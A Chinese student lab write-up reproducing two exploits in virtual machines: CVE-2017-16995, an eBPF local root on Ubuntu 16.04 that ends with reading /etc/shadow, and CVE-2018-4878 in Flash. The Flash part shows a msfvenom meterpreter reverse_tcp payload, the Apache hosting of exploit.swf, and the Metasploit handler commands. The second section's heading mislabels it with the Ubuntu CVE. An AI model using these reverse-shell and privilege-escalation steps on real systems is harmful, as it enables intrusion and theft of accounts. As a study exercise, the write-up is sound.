一、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

Ubuntu最新版本16.04存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。

攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。该漏洞编号是CVE-2017-16995,在之前的一些老版本已经修复了,但是在最新的Ubuntu版本中,又出现了这个漏洞,并且Twitter爆出了漏洞利用代码。

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。

影响版本:

Linux内核:Linux Kernel Version 4.14 ~ 4.4

Ubuntu版本:16.04.01~ 16.04.04

2.漏洞复现

step1:漏洞复现环境下载

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 使用账号密码(pinginglab/pinginglab)登录虚拟机

    ,使用 id 查看本地用户组权限:

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 使用cat /proc/version查看Linux内核版本

  • 使用cat /etc/shadow查看账号密码(由于是普通账号,没有权限查看)

    20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 下载POC代码

    20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

使用gcc对upstream44.c进行编译,给予执行权限: 【若没有编译器,使用sudo apt install gcc 下载并安装gcc编译器】

  • 下面编译并且赋予权限
gcc -o test upstream44.c
chmod +x test
ll

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 可以看到编译成功后的文件:

    20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 执行test文件,发生了错误:

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 经过分析和查阅资料,发现可能是我电脑的内核不对?但是我的内核是在范围内的呀。那我只好换个内核一试了!

  • 查看目前内核版本uname -r

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 下载自己想要的版本,我下载的是

    :4.4.0-81-generic,sudo apt-get install linux-headers-4.4.0-81-generic linux-image-4.4.0-81-generic

    20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

可以看到内核更换成功啦!

  • 重新利用gcc进行编译,并且查看,没有问题,一切正常~

    20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

  • 运行编译的文件,可以看到提权成功!此时用户从“baijiao”,切换到“root”,获取到最高权限,并且可以查看本地账号密码。

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

二、Ubuntu16.04 (CVE-2017-16995)

1.漏洞概述

在2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878)。使用者通过构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被getshell。直到2018年2月5号,Adboe才发布补丁来修复此0 day漏洞。

CVE-2018-4878位于Flash的com.adobe.tvsdk包中,是一个UAF漏洞,需要借助强制GC或者刷新页面来触发该漏洞。

2.漏洞复现

  • 实验环境

攻击机:Kali Linux (ip:192.168.145.137)

靶机:Windows 7 (ip:192.168.145.138)

exp:cve-2018-4878.py

flash:flashplayer_activex_28.0.0.137.exe

  • 实验流程

①将网上找的代码CVE-2018-4878-master目录下载下来,并放入Kali Linux桌面,并查询本机ip。

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

②使用msfvenom生成shell代码

生成代码,其中lhost为kali的ip地址,lport为自定义的端口号msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.137 lport=5306 -f python>shellcode.txt

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

查看代码文件 cat shellcode.txt

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

③进入CVE-2018-4878-master目录,编辑CVE-2018-4878.py文件,将上面msfvenom生成的代码覆盖掉原来的代码:

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

修改CVE-2018-4878.py下面的文件信息,把swf和html的文件路径改为自己的相应的文件路径,之后保存修改退出:

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

④Kali Linux进入CVE-2018-4878-master路径,用Python执行CVE-2018-4878-master.py代码

root@kali:~/Desktop/CVE-2018-4878-master# python cve-2018-4878.py

root@kali:~/Desktop/CVE-2018-4878-master# ls -l

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

⑤Kali Linux开启Apache2服务,并将上面的2个文件放入/var/www/html目录中(apache web路径)

root@kali:~/Desktop/CVE-2018-4878-master# service apache2 start

root@kali:~/Desktop/CVE-2018-4878-master# cp index2.html /var/www/html/index2.html

root@kali:~/Desktop/CVE-2018-4878-master# cp exploit.swf /var/www/html/exploit.swf

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

此时,Kali Linux上Web服务启动,并且具备index2.html这个页面。只要靶机启用flash并访问了这个页面,则可以直接被控制。

⑥Kali Linux开启Shell会话监听

使用handler监听模块
msf > use exploit/multi/handler
回弹一个tcp连接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
设置kali***机的ip地址
msf exploit(handler) > set lhost 192.168.145.137
设置监听端口,这个需跟上面msfvenom设置的端口一致
msf exploit(handler) > set lport 5306
开启监听,等待肉鸡上线
msf exploit(handler) > exploit

⑦Windows7 安装flash插件,并用IE浏览器访问页面

搜索flash最新的28版本 ,安装flash插件 。

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

使用Win7内置IE 8浏览器访问页面:http://172.16.70.216/index2.html

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

⑧Kali Linux 上获取meterpreter shell,并进行管理

20155306 白皎 0day漏洞——漏洞的复现-LMLPHP

在实验过程中,最后需要在靶机浏览器打开index2.html ,但总是提示页面无法显示,最后发现是因为自己的攻击机和靶机不在同一网段,一个设置为NET模式,一个为桥接模式,最后把统一设置为NET模式,就攻击成功啦!

可以看到,最终由于Flash存在CVE-2018-4878这个高危漏洞,导致Windows靶机访问含flash的页面时,直接被Kali Linux控制。

做完这个实验,感觉在真实环境下,应该有很多基于此Flash漏洞,结合社会工程学,比如将网页链接放置在诱导邮件中,就可以欺骗欺骗大量用户点击,哇,真的是太可怕了。这也提醒我们平常要非常小心陌生链接要及时打安全补丁要不然一个不小心,就会导致电脑被劫持了。

04-15 05:18